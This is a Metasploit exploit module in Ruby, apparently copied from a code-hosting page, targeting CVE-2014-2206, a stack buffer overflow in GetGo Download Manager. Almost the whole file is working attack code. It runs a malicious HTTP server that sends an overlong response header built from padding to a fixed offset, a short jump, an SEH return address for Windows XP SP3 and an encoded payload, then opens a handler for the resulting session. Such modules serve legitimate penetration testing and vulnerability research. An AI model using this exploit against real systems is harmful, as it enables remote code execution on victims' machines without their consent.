80 lines
2.2 KiB
Ruby
80 lines
2.2 KiB
Ruby
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Seh
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in
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GetGo Download Manager version 4.9.0.1982 and earlier, caused by an
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overly long HTTP response header.
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By persuading the victim to download a file from a malicious server, a
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remote attacker could execute arbitrary code on the system or cause
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the application to crash. This module has been tested successfully on
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Windows XP SP3.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Julien Ahrens', # Vulnerability discovery
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'Gabor Seljan' # Metasploit module
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],
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'References' =>
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[
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[ 'EDB', '32132' ],
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[ 'OSVDB', '103910' ],
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[ 'CVE', '2014-2206' ],
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],
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'DefaultOptions' =>
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{
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'ExitFunction' => 'process'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d",
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'Space' => 2000
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},
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'Targets' =>
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[
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[ 'Windows XP SP3',
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{
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'Offset' => 4107,
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'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30]
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 09 2014',
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'DefaultTarget' => 0))
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end
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def on_client_connect(client)
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sploit = "HTTP/1.1 200 "
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sploit << rand_text_alpha(target['Offset'])
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sploit << "\x90\x90\xEB\x06"
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sploit << [target.ret].pack('V')
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sploit << payload.encoded
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print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
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client.put(sploit)
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sleep(3)
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handler(client)
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service.close_client(client)
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end
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end
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